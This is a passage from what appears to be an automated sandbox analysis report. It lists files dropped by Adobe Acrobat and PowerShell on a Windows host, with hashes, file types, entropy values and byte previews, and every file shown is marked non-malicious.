SHA1:	E795B45E6D9CAF7B5F26B9D3928FA6D0A68900D1
SHA-256:	7219D4994C5060C6B1F65609FA45A5BF4A65410DFC5C8DED8F8F036DC2B78CFF
SHA-512:	7F3CC972FE505F73FE6A6E75F33973D0406A5155DD16B8D095A7B79785C18C4BAE25057087B2DB162390526611E45769887B33BBA712978BFAE46C3D3C0E4099
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667059880377184
Encrypted:	false
SSDEEP:	24:Yv6XV4xzvFamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSocY:YvI4lhBgkDMUJUAh8cvMop
MD5:	99AA8218AFFD530916FD75EF56AB4165
SHA1:	69AEB17EFEEF5444EEBCE9AD86BE427BC8B886AA
SHA-256:	A17645783408631C5F8F3AF9887E4A3C57DAB346551370649DCA50C3B598E18E
SHA-512:	19E71786A59C37B61D380673AE56AC5554B6D015279EEB6882D6A256524FDDEE8B52EC175F6E28D1A79DA6D00F44327216505DFC67BB57E446EB09C90D3F8D19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.274991182804937
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJfshHHrPeUkwRe9:YvXKXV4xZc0vgGUUUkee9
MD5:	7CBA7F1D13FC0EE8D294074AB37BD102
SHA1:	D68095D282B10FA518D1C2114EE044890964ACDD
SHA-256:	A4108C0B55ADECDF079554A342BB23C6139D0874DCC039BDA15F359EB94EC5F6
SHA-512:	1AD58741C5B2F41E73C4A90B876B0F3863DCE7224E7F064F08D28F896790296D4708756FE8C4BE789F3E4925682657226DF29EB46963A1BC6379EA082CFCFDDD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.278019638411049
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJTqgFCrPeUkwRe9:YvXKXV4xZc0vgGTq16Ukee9
MD5:	FF47D1EA057D2C920601BD7454DAE24D
SHA1:	8A8F1E207ADB00B78C63811A29277242739850F9
SHA-256:	239206E8A648823911649776DCE98BB4E4936DB50F04C6756EC951B31A9711A5
SHA-512:	82C005F6BEAAA6D39C971ED9ED2E71AC7534784D946DADF92448E5B67C80EB591AF1EAB81FBB97C21091ED7847B3315168C31642100767A7812378499113291D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143035282135165
Encrypted:	false
SSDEEP:	48:YLV3EqWj68vltXhGe39PC+oYJZ0YU493l:NqWj6kltX05AJZRt3l
MD5:	15B084E9F03526AD7D342A5A97A879C3
SHA1:	59A378C5C253E64D9BCF62E688B96073B8521E16
SHA-256:	CE3646E4FC0BB3F918184A2AAA1EFC919FCD0A9BC13FF002BA9550F36C8DEC7B
SHA-512:	005F50AB0CAB2189B39C127FEC959C492CBDE6151D15982B77A25C4349B4E6F199294CC77B59671087F8A24D9EB7BF0DDD6FAC83D892DB4A22BF72FB66A7472A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e85306cd072a57c4819b3c40b37a4008","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736556850000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"07c330e37b620053e8ae9128d9919937","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736556850000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ecf18d9e54f418b566e0d226f2f932d9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736556850000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"267f0c807beb36f98aac77183d4ab6e5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736556850000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"941de09d73ae6f151e82758f79b94325","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736556850000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e41450116bfdffc117da96c9c71ab66d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1888045068044333
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUISvR9H9vxFGiDIAEkGVvpy:lNVmswUUUUUUUUI+FGSItm
MD5:	C16D565FB225A2D21B74843555A2835B
SHA1:	9071F685631630E5F78AEAF80C59A46E075DB051
SHA-256:	2F8A868B2A8FBC7A725587A3622180C4F8C145DDF6ECB57FD857B0D67591CC8D
SHA-512:	B7E27FD16566A1AAE28794A8E204FBE1D22F61DA8AE59E952530E39E42D24F471421B9B98FB96356E858092200E572D524A5F8C573BB39E7B62ABB4F54110F65
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6076747493113253
Encrypted:	false
SSDEEP:	48:7MXKUUUUUUUUUUKvR9H9vxFGiDIAEkGVvuqFl2GL7msr:7hUUUUUUUUUU2FGSItYKVmsr
MD5:	4A11B874776D1B618A347339E41E6D25
SHA1:	F2205E790141ACC07D5C2DD908F24018B0B67F2F
SHA-256:	08995DB62D0FBDDA42F36C9A568363B99DC704A2F088EF73378F97E6B73D45BC
SHA-512:	B7576A23855314F39F23929D81D11DC3FAF4276586A3AAC53C36CB448CCC7C3164C7355DFDA006A671A996AA7638EB5E1B3EC3BBD13F4452CA34C9D3D5D4C126
Malicious:	false
Preview:	.... .c.......UV......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgnnWoHltZ1kWnPEjJaZdBN28qiYyu:6a6TZ44ADEndkWPENaZdBN2SK
MD5:	D642637A6748F7F13B522BB2E44E3837
SHA1:	4326A3A2194B81BD31F25A4E86B676DB4E38165F
SHA-256:	8310F4C73CE2DD335BBE573C913DDA31D8409D40C1B6F2B7873F47861E108288
SHA-512:	78290697DF23578C1BBAF59E6AD4540C1E0A5AA4DE65EB934527E28BF2C7E515E944BBCB64C709E03AA65E4585187ECFCD7B968E05620F9468CC50E42AF5A3F4
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSId241.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEFU9H:Qw946cPbiOxDlbYnuRK+bDu9H
MD5:	D8DB60885F51E5FD2537F2296E58512E
SHA1:	F849D7F7D82CAC1FE700A5C022FF3E83D0F43CCC
SHA-256:	FE5C3AD96C32F26B9C0E0CDA9FA6CD57BF4DFCB627EEF05A8FAB452746D23596
SHA-512:	3E261F9EEE2A0505A7ED75A421AACEED12F950F5507BEC7CDDFA001F2A354A15EE4B4E1E3B639204653C1146B1FB3DE599E523572E544E1E894ECB336729FC22
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.5.4.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ibdo2y33.j51.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uuv5lgxy.lys.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9yjgw32_1fqh5t6_1u4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-54-06-119.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.335805981834281
Encrypted:	false
SSDEEP:	384:9OGGAGxGoGCGHGTyGfG6XGmGYG4GOKPLNLaIRIVIfJjiQisiFiaDXw6F696f6p7+:A/qu
MD5:	F71573FDA65C0B6C3666B517D977AB3F
SHA1:	E0B42D14148B0B2820910ED5AC9CCD657B860CCA
SHA-256:	7D1DED766011C15CF21C08B142BB693571006B159DEF02BBFE5D7F6AB51E5147
SHA-512:	CF3BE252143A7BC4E56307B7EBA61A12301E424E46B673FCE5BC189AC0A85376D34ABF46DB6CC18B6241FB7CFB2F4B72F2BB70E4774729BA6E934EDFB375456F
Malicious:	false
Preview:	SessionID=df1f0618-1d3f-424f-a1a4-dca5335fa4ad.1736556846151 Timestamp=2025-01-10T19:54:06:151-0500 ThreadID=7908 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=df1f0618-1d3f-424f-a1a4-dca5335fa4ad.1736556846151 Timestamp=2025-01-10T19:54:06:159-0500 ThreadID=7908 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=df1f0618-1d3f-424f-a1a4-dca5335fa4ad.1736556846151 Timestamp=2025-01-10T19:54:06:159-0500 ThreadID=7908 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=df1f0618-1d3f-424f-a1a4-dca5335fa4ad.1736556846151 Timestamp=2025-01-10T19:54:06:159-0500 ThreadID=7908 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=df1f0618-1d3f-424f-a1a4-dca5335fa4ad.1736556846151 Timestamp=2025-01-10T19:54:06:159-0500 ThreadID=7908 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.389364593736369
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rg:jA
MD5:	7F13D9932F1A7974A7B11FEE0FF274C0
SHA1:	DD89454DBC88B65661CAEEED3DD435264B13A013
SHA-256:	E10A1541242516B1B68B06AF3ED60555301B62FCC550C6362C5BD553CA791DBD
SHA-512:	C2602C3232F0D289E19467FD25FAB883F0B2DBBF3C7B7B8DEED4ECCBECD769C13C2FB5A65AFAF8B47AA22FA2567F0DB736423F22675CC2CDE7F2A58D1CCC9417
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\801eb2fd-073e-4d23-b139-e3e6806e8b7b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a4dd52d0-4a47-44dc-b3e4-4fb9e04561c1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e56a2b43-789a-4d77-9437-69028cc9bbca.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
